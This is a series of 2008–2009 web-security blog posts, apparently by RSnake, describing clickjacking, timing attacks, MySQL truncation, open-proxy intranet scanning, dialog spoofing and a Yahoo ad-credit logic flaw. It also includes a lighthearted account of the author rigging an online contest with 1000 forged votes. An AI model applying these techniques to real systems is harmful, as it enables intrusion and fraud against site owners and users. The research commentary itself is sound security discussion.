I’ve been promoting the concept of opt-in security for years now. I was the one who first came up with content restrictions for instance and pushed it heavily for the last 4-5 years now (and we still don’t have it). So this is one of the first very good examples of that philosophy - which is that sites should be able to protect themselves without having to interfere with anyone else’s tech anywhere else on the internet. It’s a good model in the case of content restrictions because the amount of sites that take rich HTML and need to allow script and objects and whatever else (think MySpace), still shouldn’t be forced to allow their end users to steal cookies as a price of doing business.

The amount of sites and types of sites that intentionally allow rich HTML to be posted by any user are extremely small in comparison to the global scope of all websites everywhere. So the opt in content restrictions model makes sense in that case. X-FRAME-OPTIONS on the other hand applies to a surface area that effects nearly all dynamic websites on the entire Internet. Clickjacking is closer to CSRF than it is to sites that are vulnerable to persistent XSS worms. So while the opt in security model made sense in one sense, I think it’s improper to think about these two problems as being similar enough to warrant the same model. I’m not trying to beat up on MS here, I just want to explain my opinion!

It will be years at the earliest before enough companies adopt Microsoft’s solution to make any real difference in the clickjacking surface area that is the Internet. The really pragmatic question is why bother creating a partial fix for a problem that no one has actually maliciously exploited yet? I’m still waiting for an actual exploit to hit the wild before I start sounding the alarm bell. Sure, there’s tons of workable exploits out there. But like a lot of things this all might be premature - there’s still a lot of easier ways to exploit websites and consumers out there.

Proxy Server Cookie Stuffing

Posted: January 26th, 2009, 6:38pm CST by RSnake

Tags: Webappsec [edit]

The 100 embassy passwords that were compromised in the middle of 2007 through compromised Tor exit nodes has always stuck with me. Simply sniffing passwords is a great way to gain a ton of intel about the traffic that’s going over the networks. But what about other bad things?

Two “attacks,” if you can call them attacks, sprung to mind when I heard about that. The first was changing banner ads. You can change one banner ad to be another banner ad, and get the additional revenue associated with that. Doing may or may not prove to be lucrative because people using proxies generally aren’t clicking on a lot of ads - or if they are, they aren’t the brightest bulbs.

However, cookie stuffing is actually a slightly more feasible attack. By putting reseller cookies in the browser for every request made to a partner’s website, it’s entirely possible that some of the people who use the proxy will forget to clean their cookies upon closing down the proxy. Hackers hacking hackers. Of course, again if someone is using a proxy to anonymize themselves and they don’t clear cookies too, they probably need to get hit with a clue stick.

HTTP Verb Brute Forcing

Posted: January 5th, 2009, 11:21am CST by RSnake

Tags: Webappsec [edit]

I read a few interesting posts here and here regarding brute forcing HTTP verbs. The F5 post suggested that it is possible to thwart people who are looking for what options you support by giving a fake response. That’s certainly one way to do it, but it’s not as robust as it might appear.

By actually testing each verb by hand, it’s pretty easy to skip using options, if that’s not available to you. Or, if you are on the defensive side, if you are turning off one verb, turn off everything that you don’t use, so you don’t have to worry about it. Iterating verbs can be super useful for finding open/unprotected Webdav servers, finding open directories that allow PUT, or open proxies. In general automated worms just try to perform the exploit rather than iterate options anyway, so in general it’s probably a good idea to shut down all HTTP verbs and open them up as you need them, rather than close them down one at a time as you figure out why they could be used for nefarious purposes.

ToS Abuse Abuse

Posted: December 16th, 2008, 4:45pm CST by RSnake

Tags: Webappsec [edit]

Sorry I haven’t posted in a while. Not for lack of wanting to, but alas, the real world keeps pulling me away from the fun stuff. Maybe I’ll get a chance to post more over the holiday. No the title of this post isn’t a typo, I actually just wanted to spend some time iterating this case regarding the Megan Meier case about Cyberbullying and what that means for the average consumer. Like most cyber law I’ve come across, it’s not good.

Basically the verdict is that any violations of ToS can earn you jail time and fines. Yup, it’s a felony. So now, let’s put some haXor filters on that decision and talk about other consequences. Firstly, let’s look at Google’s ToS:

2.3 You may not use the Services and may not accept the Terms if (a) you are not of legal age to form a binding contract with Google, or (b) you are a person barred from receiving the Services under the laws of the United States or other countries including the country in which you are resident or from which you use the Services.

So if you are under eighteen and you DO you use Google, does that mean you committed a federal crime? And if so can you be tried as an adult, or do your parents take the rap? Or does your upstream for letting you use Google in the first place? Okay, that’s funky, but what about the fact that Google’s search engine is actually built into Firefox for domains typos? Does that mean if you typo a domain and you are underage you are committing a crime? How about those search boxes on everyone’s website that use Google? What about clicking on ads? Yah…

So, there’s a few ways to force people to commit crimes it seems. By creating hard to find TOS (Google’s isn’t on their front page, I might ad) and confusing language, it appears you can convict anyone of just about anything unless they really take the time to read your documents. That is, of course, unless your TOS strictly prohibits the reading of any part of their website. What about CSRF TOS abuse? Yah, you too can rickroll your friends right into the pokey. Believe it or not I’m actually not picking on Google here. They are just one of a million websites that can get you arrested for legal minutia. This is just a stupid law. Maybe the woman does deserve some jail time for what she did, but not for violating TOS - which she never even read. Her, along with every other MySpace user.

Apocalyptic Vulnerability Percentages - FUD 101

Posted: October 12th, 2008, 2:48pm CDT by RSnake

Tags: Webappsec [edit]

I’ve spent a long time in the trenches and recently I’ve been getting more and more jaded - if that’s even possible. I’m sure at least once a week someone in the office hears me utter the nearly completely useless comment, “everything’s broken anyway, who cares?” Now I think it’s time I actually explain myself. In the last decade and a half that I’ve been in interested in webappsec I’ve had the opportunity to talk to nearly every self proclaimed expert in the industry and more and more I’ve been able to get them to say or admit that “everything is broken.” I think what they mean is that if an attacker takes any system and apply enough resources against it they will get into it, break it, take it off line or whatever it is they want to do.

I’ve talked to a number of people regarding the percentages of sites they are able to break into or find exploits in. A few years ago we were all collectively hovering around 70-80% (Jer has some good stats on this) - but we were only talking about that in context of certain classes of webappsec bugs. Could the number be higher? And I don’t mean higher by a few percentage points - I mean approaching 100%? Let’s assume for a moment that there is one or more 0day remote vulns in each of the major web servers out there that we haven’t uncovered - they happen fairly regularly so let’s just take it on faith that there is at least one or more left. Then let’s assume a large number of the remaining sites host insecure applications on top of them (we’re finding that number to be well into the 90% range for anything at all dynamic). Then let’s assume a large percentage of the very small remainder have insecure network configurations (we find that number alone to be around 70%). Then let’s assume the server providers, or administration paths are insecure to physical wire tapping, or direct exploitation against the underlying DSL modems/routers of the people who administer the site. Then let’s talk about DNS, or router/firewall exploits, ASN.1 and so on. Then let’s talk about man in the middle exploits, browser exploits, mail exploits, Instant Messaging exploits, exploits against mobile phones and so on and so on… And let’s not forget social engineering. None of which are covered by that original 80% that I think we were all talking about a few years ago.

Remember, before we were at 80% and that was bad enough. In fact, you may all remember the Joel Snyder comment that there is no way anyone could exploit 70% of sites. I think he and others like him felt that 70% was apocalyptic and Acunetix was simply smearing marketing FUD. But what if the number was really worse? And I mean a lot worse. What would people say? What would people think? Would they stop consuming? No - which is why I don’t think talking about it is FUD, or at least not particularly effective at getting consumers to understand reality. But more importantly, who cares? If it’s all broken anyway, why do we keep releasing patches for things that are residing on top of a critically broken infrastructure while there are far more new products, features and services appearing on a daily basis - each with their own holes?

Consumers will keep consuming, companies will keep patching, hackers will keep hacking - nothing will change because of this post or any great realization of how broken things really are. Does that mean I’m throwing up my hands and giving up? Of course not, it’s my livelihood. But it does mean that I’m not that interested in new exploits, as they are just another way to exploit something. That may be interesting to an outsider who isn’t properly initiated, but I think if you spend enough time talking to experts you too may come to the same realization I did. And that is not to spread an apocalyptic view of the Internet, given that I know consumerism will win over any security flaws.

Many of the CISOs I talk to mention esoteric bugs as their top concern and I have to stop them and explain how unlikely it is that they’ll be hit by that specific kind of exploit, but rather how incredibly likely it is they’ll be hit by something mundane that’s been out there for years. It’s less sexy to talk about it, but we still haven’t found good solutions to problems we’ve known about for 10+ years. As a simple example - why are we still using IPv4, dns, telnet, FTP and HTTP when we have IPv6, dnssec, ssh, scp and HTTPS? Again - I don’t want to sell FUD, I actually just want to stop talking about percentages. The truth is, if you have something interactive connected to the Internet, it’s probably exploitable in some way, and really, it’s not that terrible of a thought considering it’s pretty much always been that way. If you want my advice, take a cue from the military and air gap anything you don’t want broken into. And with that downer, I hope you’re having a good weekend.

Tomcat SSL Fingerprinting

Posted: October 5th, 2008, 12:32pm CDT by RSnake

Tags: Webappsec [edit]

I ran into this a few weeks ago and I thought it was just so silly I had to post it. If you telnet to an SSL/TLS enabled port and type in “GET / HTTP/1.0″ and hit enter it immediately responds with this rather poorly thought out error message:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Reason: You're speaking plain HTTP to an SSL-enabled server port.<br />
Instead use the HTTPS scheme to access this URL, please.<br />

The irony is that it’s saying that it doesn’t know what I’m saying, even though it clearly does know what I’m saying since it tells me what I’m doing wrong. Pretty stupid error messaging and pretty easy to use to fingerprint the web server. Just thought it was funny enough to pass along.

OWASP Pelting

Posted: September 25th, 2008, 9:02am CDT by RSnake

Tags: Webappsec [edit]

I’m already back in the airport after a long day over at the world OWASP conference in New York. Among other things that were noteworthy was some extremely tacky marketing schwag from the ISC2 folks that says, “I fill the holes in your SLC”. I feel dirty having even typed that. I wish I were kidding. Ridiculous pictures of Dave Aitel wearing said schwag may or may not end up online in the near future. In the meantime, I wanted to do a brief overview on where we are and how things are progressing.

Jeremiah and I gave a brief talk yesterday outlining the timeline of events, and high level concepts of what was going on. We didn’t talk specifics other than some personal remediation advice - yes Lynx is your friend. I felt really lame giving a speech saying I wasn’t giving a speech, trust me. This was not a career highlight, by any stretch. Hence the self flagellation of telling everyone to loose a volley of squishy OWASP balls at me. I missed most of the volley in the picture I took of it, but you can still clearly see several of the OWASP balls in flight:

Click to enlarge

Jeremiah and I answered quite a few questions from the audience before, during and after the speech, and I’m sure a number of people are already working on their own versions of what they think we’re up to, given that a number of people were quick to tell us they were working on some demo code of some aspects of their interpretation of what we were talking about. I’m sorry to be vague, I really am.

Lastly, we did tell the audience that we will most likely be releasing a whitepaper on the informer’s website of Hackers for Charity prior to doing our full announcement (maybe a week or so before). It’s just a nice thing to do for kids, and we totally support Johnny Long’s efforts. Please sign up. It’s a good cause. If you must know the details and are too cheap to help kids in third world countries or you happen to be a kid in a third world country, I’m sure it will leak out in other ways and we’ll also post the whitepaper publicly later as well.

So, no time line still as of yet, but we are getting regular updates from Adobe and we’re confident they are being as expeditious as they can without risking introducing other issues in the process of issuing their fix. We’ll keep you updated.

Clickjacking

Posted: September 15th, 2008, 7:36pm CDT by RSnake

Tags: Webappsec [edit]

There’s been a bit of drama over the last week or so around the upcoming world OWASP conference in New York. It’s surrounding a talk that Jeremiah and I were planning on doing the first day of the conference. Jeremiah and I have been working on some interesting browser security issues which also effect a lot of downstream people/websites/technologies as well. Sounds like a good talk right? We thought so too!

Alas, it turns out that some of the issues we found weren’t just a little bad - they were a lot bad. So bad, in fact, that we felt compelled to do some responsible disclosure. One issue lead into another issue into another and poof - we have at least two and probably more incoming vendor patches at a yet to-be-determined date. And we’ve only worked with a few vendors. So… yah. It’s pretty bad.

As you may have guessed the first is a browser company, Microsoft (to be expected since it’s a browser issue to begin with). The second is Adobe - who have been working closely with us on this one since we first told them about the problem. We have been working on proof of concept code since before Blackhat and finally got our ducks in a row with real working exploit code a few weeks ago. And that is pretty much when the problems started. None of the issues we found relating to the browser were particularly easy to fix, it turns out.

The related issues we found that affect websites (instead of browsers) is thankfully slightly easier to deal with on a one off basis, but that too is going to be a problem. There are a lot of much easier hacks out there against websites for sure, but what we’ve been working on breaks some previously good security measures. The correct solve will not be patching every web-site on earth. Instead it will likely end up being a browser patch against every major browser. The idea of every webmaster in the world patching their own sites is a non-starter. Although I’m sure lots of people are going to run out and patch their sites rather than wait for the normal browser patch and release cycle for all browsers everywhere. We’ve discussed the high level concern with both Microsoft and Mozilla and they concur independently that this is a tough problem with no easy solve in sight at the moment.

So, after much deliberation we opted to pull our speech voluntarily, due to the extremely neutered information we’d have to be sharing. We’d much rather share the full breadth of what we found when it can be discussed more openly as to not diminish the danger of the flaw by only talking about small parts of the issue. There will still be holes in many websites due to this problem even after the short term patches are available, but we’d rather a few of the more critical problems get patched before we go public.

However, I must stress, this is not an evil “the man is trying to keep us hackers down” situation, a la Michael Lynn vs. Cisco, or Chris Paget vs. HID, or MIT vs. MBTA and so on. We proactively decided it was better to pull the speech ourselves for the time being and for anyone who was looking forward to the speech all I can say is I hope to make it up to you once the vendors are in a better spot. It wasn’t an easy decision but it really feels like the best option we have given the current situation. If you’re desperate for a way to patch your browser from the issue disable scripting and plugins for the time being. More to come.

More Timing Precision Enhancements

Posted: August 28th, 2008, 9:44pm CDT by RSnake

Tags: Webappsec [edit]

Okay, so my last post on timing precision was interesting, but then I went back and started doing more thinking and I found a few ways to get even better precision out of a typical timing attack. Let’s look at a real world HTTP request and response:

Packet: 1, Time: 0.000000 DNS Query (outbound)

Packet: 2, Time: 0.101079 DNS Response (inbound)

Packet: 3, Time: 0.103195 SYN (outbound)

Packet: 4, Time: 0.147479 SYN+ACK (inbound)

Packet: 5, Time: 0.147536 ACK (outbound)

Packet: 6, Time: 0.147801 HTTP request (outbound)

Packet: 7, Time: 0.327528 ACK (inbound)

Packet: 8, Time: 0.825132 TCP segment HTTP response (inbound)

Packet: 9, Time: 0.826323 HTTP Response (inbound)

Packet: 10, Time: 0.826416 ACK (outbound)

Now normally a timing attack would encompass this entire mess, but really we are only interested in a few time slices. We can completely disregard the DNS request and indeed up until the seventh packet, which is the acknowledgment that the packet was received (when we know that our packet has arrived and is in the process of being served up). That right there shaves 1/3 of a second off of my example (this was a real example, btw).

And again, when we are receiving the response, we don’t actually care about the last two packets, only the 8th packet (the returned data). The difference between packet 7 and 8 is what we are actually interested in. By combining this technique with the previous one about finding the exact time the packet arrived by calculating the precision you can identify exactly when the 6th packet arrived, and not just when you got your ACK in the 7th packet. The ACK is important but it gives you a slightly skewed result since it is a timestamp based on when you received it and not based upon when it was sent, unlike the Date: HTTP header that you receive in the 8th packet.

If you don’t look at the packet level information you are introducing up to 1/3rd of a second out of only .826 seconds on the first request, and still a few extra milliseconds extra even if you discount the DNS request. Point being there are certainly some enhancements to be made to the old timing attacks of yesteryear. Looks like a tool waiting to be made…

Timing Precision

Posted: August 26th, 2008, 6:12pm CDT by RSnake

Tags: Webappsec [edit]

If you’ve been watching the Olympics you might have see the pretty amazingly close call between Phelps and Cavic. I looked at lots of different pictures and video of it and everyone was saying it was a close call, but they also said it was 1/100th of a second difference. Was it? Okay, here is where we get into our webappsec theory of the day.

So let’s take a normal run of the mill timing attack over a somewhat latent connection, or worse yet, somewhat spotty and latent connection. You normally have two paths of latency - to the target host and back. For those of you who don’t know what a timing attack is go read this or the rest of this post won’t make any sense. The target host has to respond within a certain set range of milliseconds or you know that you have found a successful timing attack. This all relies on your connection being fairly latency free as people will argue with you time and time again. We are lacking precision, and that makes the attack less useful.

Here is where Michael Phelps comes to save the day. I’m no photo finish expert, it looked closer than 1/100th of a second to me. Either way, what if it had been even closer than that? Clocks lack a certain precision. Normally that’s okay, because the smallest people normally want to go down to in their daily life is seconds. Try landing a space shuttle or judging the Olympics with a degree of accuracy of 1 full second. No one’s going to be happy with those results. Although Michael Phelps might not have been 1/100ths of a second ahead of his competitor he might have been closer to 1/1,000,000th’s of a second on the other side of the 1/100th time marker. Clear as mud? No?

So let’s say Phelps touched the wall at a time marker of .001001 and Cavic touched it at .000999. The time difference is only 2/1,000,000ths different but that’s enough of a precision to make it different instead of a tie. God forbid Cavic touched the wall at the same 1/10,000ths of a second or all hell would break loose at the Water Cube and then it would have been a speedo showdown for sure. Okay, so it might not have really been that close at all, but you see my point. Now, back to webappsec.

Let’s say you know that there is some sporadic latency between you and the target. And it’s somewhere between 30 milliseconds and 80 milliseconds at the worst, but for your tests to be valid you need to have the least amount of latency as possible since the timing attack itself is only a fraction of a second different. You can actually time your attack to take advantage of the Date: HTTP header. Let’s say take that as an example where I send my packet at 22:51:50 and 69 milliseconds. When I get a return response of Date: Tue, 26 Aug 2008 22:51:50 GMT I know that the packet was received prior to the clock striking 51 seconds and therefore there is no or minimal latency. If I get the response back and it says Tue, 26 Aug 2008 22:51:51 GMT I know the result is invalid because there was too much latency.

This all hinges on you being able to identify the exact millisecond of precision on the remote computer, which you can do with a large enough sample size. The smallest value is the closest to being accurate. While this doesn’t completely get rid of all the latency issues, it certainly could give you a much higher level of precision in your timing attacks.

MySQL Truncation Etc…

Posted: August 18th, 2008, 10:04am CDT by RSnake

Tags: Webappsec [edit]

Stefan Esser has a really good article about how MySQL and SQL truncate columns which can lead to security holes. He uses a good example of a column that has a width of 16 chars but he submits something with 17 chars. Obviously enforcing length is one way to enforce that, even if it almost never happens. But one other thing came to mind.

Harkening back to my days of reading Rain Forrest Puppy’s papers, I realized that often times the code does a straight regex or string matching. Eg: if ($username eq “admin”) { fail(); } but if the $username was “admin ” it clearly will fail the string match since it’s not an exact match, but it will have the same net effect in the database of passing the check and allowing you to access the admin data. Likewise padding in front of the username will have the same effect in some cases - depending on how the SQL query is constructed (if it’s encapsulated). Anyway, good article, go read it!

HTML 5.0

Posted: August 16th, 2008, 12:58pm CDT by RSnake

Tags: Webappsec [edit]

On good authority I was told to take a good hard look at the newly proposed HTML 5.0 spec that’s floating around the WHATWG. Firstly my eyes went to the new video and audio tags which are meant to help users deal with the apparently confusing nature of the fact that we have img tags instead of just using embed for everything. Personally I think that’s just a horrible idea that’s going to break a lot of blacklists out there and potentially open more security holes depending if the scriptable video objects are allowed, but there you have it.

Anyway, so then my eyes glanced across the new iframe spec and lo and behold I saw a miracle. Someone over at the WHATWG was really paying attention. Firstly, there’s a new parameter called sandbox which is similar in many respects to IE’s proprietary security=”restricted” parameter but with more granular controls. That’s not necessarily a good thing if you don’t like being framed, but it does give websites more control over what happens to their site once they frame a site that turns out to be bad.

But more importantly there is another new parameter called seamless which will allow a page of the same origin domain to iframe a page without having all the usability issues (double scroll bars, _self targets and so on) of the original iframe model. That’s great news for websites that want to frame and control a page on their own domain (a la content restrictions) without all the crazy usability issues with iframes. There’s some other security concerns with allowing content to be accessible on your site - there needs to be some tag to disallow rendering unless it’s embedded within an iframe to prevent someone from calling the malicious child frame directly. However, this is a big step forward in the right direction.

MSN IP Search

Posted: August 3rd, 2008, 11:43am CDT by RSnake

Tags: Webappsec [edit]

I’ve been meaning to write something about this for a while now, and a number of people have known and used this for a while too, but one of the most helpful tools out there for identifying subdomains of any given target is MSN IP search. I think Fierce is way better for finding subdomains if they aren’t on the same IP, but MSN IP search is way better at finding subdomains on the same IP.

Why is that important? Well, it turns out that a lot of companies use shared hosting, and as we all know, unless they have taken extreme steps to protect their clients, the hosting environments are basically saying that any compromise of any client means complete compromise of any of the other clients on the same machine. Great. So I created a small bookmarket that interfaces with MSN IP search. If you use Firefox, just drag it to your bookmarks and just go to a webpage of choice (other than ha.ckers.org ) and click the bookmarklet. It sends the domain to ha.ckers.org which performs an IP lookup and forwards the browser back to MSN with the IP for that domain. It’s that simple. You’d be amazed how many companies use shared hosting.

Firefox Security Model Growth

Posted: July 29th, 2008, 6:42pm CDT by RSnake

Tags: Webappsec [edit]

Okay, I can bet I’m going to get a lot of flack for this post, so before I start, this is only my opinion and is not at all based on actual numbers. The only reason I’m putting a graph here is because I think it’s easier to visually explain. No numbers. Got it? Just opinion. Don’t get all excited here. Okay. Calm yet? Okay, now don’t start reading this post unless you intend to read the whole thing. Ready? Now you may continue reading the post.

The last post I made was describing just a small smattering of some of my personal Firefox woes around the add-ons that I use to personally secure myself from attacks that either I have helped create, or have seen in the wild. Now, truth be told, I use Firefox every day, due to the add-ons that it supports and the ease of testing webapps. And it’s with that that I’m disheartened by my sense of helplessness around updates.

So here’s what I feel is happening over time for security people (not for the regular every day casual web surfer, but indeed, hardcore security folks, like most of the people who read this site). Over time there are upgrades. Those upgrades fix a number holes, and introduce a few others. They also break the add-ons. Those add-ons help fix the broken browser security model. Therefore, for the likes of me and the vulns I actually am affected by, my security is reduced with each new major revision of the browser, making it look something like this:

Firefox security model over time

Sure, the overall security is trending up with time, but there are major gaps in my perceived security while developers catch up to the new codebase. While the numbers and timelines may be way off, the concept (for me at least) is right. I don’t personally see any immediate major benefit from the browser changes - only negative. With time, sure, things get better, but I happen to be in a particularly bad security slump at the moment right there on the right hand side of the graph. The exploit code that I may have been at risk of, for the most part, is neutered by the add-ons, until they stop working. So which is it? Am I trusting the browser to evolve faster than the add-ons or vice versa?

Firefox’s model has always been, “Feel free to contribute, it’s open source!” While this is great in theory, a) My programming skills get me by and not much more - you don’t want my code in your browser holding the Internet together, trust me b) I don’t have access to all the security bugs - most of the worst of which are hidden from view on bugzilla for only a very small select few people to view and c) there are very few people who have the ability to commit code let alone to fix other people’s add-ons.

It’s tempting to get overwhelmed by the helplessness of it all, but then I just remember that none of these plugins fix things like CSRF which helps me ignore that particular issue. So then I just go home and cry myself to sleep. Okay, now rant away, but if you mis-quote me or fail to read everything before commenting, so help me, I’ll make fun of you senselessly.

History Hack Male vs. Female and Beyond

Posted: July 28th, 2008, 2:00pm CDT by RSnake

Tags: Webappsec [edit]

Strangely enough there’s been a ton of things happening in the CSS history hacking world lately, and I thought I should recap some of the more important events of late. Firstly, Firefox 3.0 came out, and wow - it feels an awful lot like when Firefox 2.0 came out. A good chunk of my favorite plugins no longer work - Switch Proxy, Auto Copy, LocalRodeo (since ironically it doesn’t install over SSL - and btw, that was the only public tool protecting anyone from JS based intranet hacking that I am aware of) and, of course, Safe History. Why is that a problem? Well, if you were relying on it to protect your history, it’s no longer an option.

Now, if that’s not bad enough, Jeremiah Grossman pointed me to a page that attempts to calculate your gender based on a portion of your history. An interesting take on the usefulness of the old CSS history hack. How accurate it is is questionable, but realistically this is pretty good for a first generation tool that is virtually un-tuned.

Last but not least, I did a little looking into the ol’ about:config options in Firefox and landed on a few options that were noteworthy. Not the least of which is browser.visitedcolor which can be re-set to anything you’d like. That means if you are simply looking for the color of a typical viewed link, you may be deceived if this color has been modified. That is - unless, the attacker knows that the victim has visited something before (a previous page perhaps), and the attacker’s code verifies that against something they couldn’t have visited (a domain that isn’t up, for instance) to isolate what the real viewed color is. So that option, if you were considering it, wouldn’t work for a more advanced version of the code that checked for this kind of thing.

It’s a sad day for the old CSS history hacking security though. And please, please don’t tell me that you’ll just turn off JavaScript to protect yourself!

Dialogs Of Doom

Posted: July 10th, 2008, 4:39pm CDT by RSnake

Tags: Webappsec [edit]

So maluc and I went down the rabbit hole (again) looking for ways to screen scrape across domains using Java applets. You’d put a malicious Java applet on a page and an iframe to another domain that had sensitive information on it - then you’d use the Java applet to take a pixel by pixel screen shot and then log it for later analysis. Of course you can’t do it with Java, and for good reason, but you may be able to do it with Java Web Start. Of course there’s a security dialog but it’s pretty weakly worded and doesn’t look like it’s actually a security warning, so then I went down the path of looking at ways to force people to click on dialogs. The most obvious way is to float a whole bunch of JavaScript alerts in the same place right above where the “Yes” or “Always” buttons live hoping to trick them into clicking on the Java Web Start dialog.

But it got me thinking. People are fairly used to having to click on popups rather quickly to get rid of them and it it’s also fairly easy to change out the popups after a certain amount of clicks or if the rate of clicks reaches a certain threshold of clicks per minute. It’s also possible that those popups aren’t actually popups but rather DHTML that happen to look like popups and hover perfectly above where the more nefarious popup will come in once you are satisfied that the user is clicking quickly enough that they will inadvertently click on the Java Web Start dialog (or whatever type of dialog you are interested in getting them to click on).

Here’s what I came away with after this research: 1) users get frustrated easily, 2) they can’t tell the difference between good dialogs and bad dialogues when they are clicking quickly, 3) they will click on things if they think that by clicking on them they will get what they want (we already knew that from the porn movie codec malware guys) 4) because things like Java Web Start aren’t part of the chrome like the Information Bar or other chrome based notification, it’s easier to spoof, and 5) humans can’t tell the Z access of things in 2D objects so they can’t identify what is and isn’t a popup unless they have other issues during usability. It feels like there’s something exploitable here…

How I Lost a Contest Involving Chihuahuas

Posted: July 9th, 2008, 11:37am CDT by RSnake

Tags: Webappsec [edit]

So my lovely gfnd’s co-worker enrolled her pet Chihuahua into a contest to rate the dog against others of the same breed in the local area. Vaguely amused, I took a look at the web application and sure enough, it pretty much sucked. The developers had used a client side code in Flash to make it so that you couldn’t submit twice, but in re-loading the app you could (and that’s how the newbs in her office were cheating). I, however, looked at what data it was sending and sure enough I could send votes by bypassing the client side app entirely. I took the cheating to a whole new level.

So I gave the dog 100 votes just for good measure. My gfnd and her office mates were amused and asked me to up it to 1000. Sure, no sweat. The next closest Chihuahua was in the 50-60 range, which I found by writing a quick scanner to dump all the results for all the other dogs. So I figured we pretty much had this whole thing sewn up. With the 700 votes all of her co-workers had managed to generate, plus my 1000, we were an order of magnitude higher than the next competitor. I could see it already - my gfnd’s co-worker’s Chihuahua would be named Chihuahua supreme, there would be dancing in the streets, songs would be written…. The whole nine yards.

Little did I know how fierce this whole Chihuahua community is, and right before midnight on the night that the contest closed some other hacker did the exact same thing - but took the number one spot above my pick. Alas, had I checked the scores leading up to the closing moments of the contest my Chihuahua could have easily won that contest. I guess if I cared more about Chihuahua contests, I might have put more thought into it. But in the end it’s just another amusing story. Props go to whomever managed to out haXor my Chihuahua contest haXoring!

I think we all can see how similar high profile and more important contests (or elections) could be tampered with. Maybe Chihuahua contests don’t rank high on your visibility scale, nor mine typically, but despite the silly consequences of tampering with Chihuahua contests, it’s a small window into a much more dangerous issue. I hope everyone had a good 4th and Canada day!

Yahoo SEM Logic Flaw

Posted: June 16th, 2008, 10:40am CDT by RSnake

Tags: Webappsec [edit]

In the wake of a few different speeches by Jeremiah Grossman and Billy Hoffman on logic flaws, I thought this was pretty appropriate. I got an anonymous message today explaining how an interesting logic flaw popped up in the search engine marketing portion of Yahoo’s website. According to them, the site allows you to send them $30 for future spending with their advertising program, and in return you get $50 free SEM advertising as a promotional offer. The problem lies in the logic.

When a user signs up, the logic should state something like “if money is deposited then give a credit, if not then fail”. Unfortunately, according to them it doesn’t work that way. Regardless if your deposit is valid or not or if it fails or not, it will still credit your account $50. Whoops. I haven’t tested this or tried it, but according to them at least a few people have already been able to use this trick, and of course that’s then tied to spamming or traffic arbitraging.

Allbots.info Imagetotext.com

Posted: June 13th, 2008, 11:45am CDT by RSnake

Tags: Webappsec [edit]

If the title of this post sounds awfully spammy, that’s because it is. Someone sent me a link to allbots.info and imagetotext.com today. Both of which are tied together into one system that allows someone to purchase a robot and the human CAPTCHA breaking necessary to create accounts in some of the largest social networking sites out there.

These include MySpace, Hi5, Facebook, Youtube, Gmail, and on and on… This reminds me a lot of XRumer which is also designed for the same purpose, but more for message boards and the like. Making hundreds of accounts, for spamming is getting more commonplace and accessible. Just plunk down your stolen PayPal or Google Checkout IDs and you’re off to the races! CAPTCHAs aren’t working folks - we’re just creating another micro-industry.

Google Health

Posted: May 21st, 2008, 2:23pm CDT by RSnake

Tags: Webappsec [edit]

It must be a Wednesday because it’s feeling a lot like “pick on Google” day! Let’s see here, what’s in the news today? Oh! Google Health - from the same company that brought you countless vulnerabilities both fixed and unfixed, with a policy of not alerting people to security issues comes a new service that asks you to input all your most sensitive personal health records! “But it’s medical records,” I can hear people saying, “surely they’ll be as secure as any HIPAA compliant entity.” Except, legally not so much… (from their terms of service):

Google is not a “covered entity” under the Health Insurance Portability and Accountability Act of 1996 and the regulations promulgated thereunder (”HIPAA”). As a result, HIPAA does not apply to the transmission of health information by Google to any third party.

I think it’s a shame Google found a legal get out of jail free card to absolve themselves from securing consumer medical records in the same way everyone else who handles this kind of data does. At least Google gives you advice on how to protect your personal data. By uhm… protecting it!

You are responsible for the security of your passwords and for any use of your account. You must immediately notify Google of any unauthorized use of your password or account by following the instructions at this link: http://www.google.com/support/accounts/bin/answer.py?answer=48601

Incidentally my favorite line from their form is:

Google Accounts: I think someone else is using my Google Account. Tip: In most cases, this problem can be resolved by resetting your password. Please do so before completing our form.

Resetting your password will recover your stolen personal data and make you and your family whole again, I guess. As a side note, a year has come and gone and silently the Google security blog has had its first birthday. Has anyone noticed? I recall a year ago I said to a number of people I’d be surprised if anything interesting came out of it, and here we are a year later, with about 13 posts (one a month) and pretty much nothing of note about any actual issues/flaws has been discussed. There were two brief non-technical posts about “Lemon”, a year ago, to be fair. Maybe someone learned something from it, but it sure wasn’t me or any researchers I’ve talked to. Happy belated birthday, Google Security! Another year has come and gone, and the redirects still aren’t closed - how about a post about that?

As another noted security expert pointed out to me two days ago - Google represents the single greatest travesty of our generation. You gather the largest collection of the most brilliant minds you can possibly find, for the sole purpose of displaying ads next to search results. Remember, this is the same company who just a few short months ago was ranked the single worst in privacy of all the top Internet sites. Great - just who I want to be the keeper of my apparently non-HIPAA regulated medical data.

Okay, enough picking on poor Google for today.

HTTP Proxies Bypass Firewalls

Posted: May 20th, 2008, 9:38am CDT by RSnake

Tags: Webappsec [edit]

This may seem painfully obvious to some people, but I looked around and couldn’t find a reference to it, so I apologize ahead of time for anyone who already knew this. When we normally think of how attackers use proxies they are almost always just trying to hide their IP addresses. id and I have written papers on bypassing content restricting firewalls using proxies, etc… Those are all fine topics, but that’s not what this post is about. I was pouring through my logs a few weeks ago and came across a number of people attempting to see if I was running an open proxy. Obviously I’m not, and the reason someone would likely check is that it is a robot looking at large swaths of the web for open proxies.

I ran into an open proxy after that and started poking around with it. The obvious way to look for it was to type in “GET http://www.yahoo.com/ HTTP/1.0″ and see if it shows you Yahoo’s homepage. But then it occurred to me that this could be used for Intranet hacking as well. The open proxy doesn’t have to point out to the web. It can, in fact, be pointed inward, to internal addresses. Here’s a diagram of what I’m talking about:

Click to enlarge

The first scenario is what most bad guys use proxies for. They connect back out to the Internet, to hide their real IP addresses. The second scenario, however, would allow them to use that same proxy server to hack other machines on the same network, including the firewall itself. The funny part is that there are tons of machines out on the Internet who have already been compromised, and the bad guys have intentionally placed proxies on these machines for other nefarious purposes. But it can also be used for internal reconnaissance, or worse. And yes, I have found this in the wild. By quickly enumerating the most likely places within RFC1918, it’s fairly easy to spot where the majority of devices are in most networks (note that this kind of internal scanning will become more difficult with IPv6).

If there are internal machines with critical vulnerabilities on them, the proxy can be used to connect back into that network, to exploit those vulnerabilities which may give a bigger foothold or uncover other sensitive information. If you haven’t scanned your own network for open proxies, you probably should. This is yet another reason to limit what your web servers have access to within your own networks.

Phishing Site in Email

Posted: May 15th, 2008, 11:15am CDT by RSnake

Tags: Webappsec [edit]

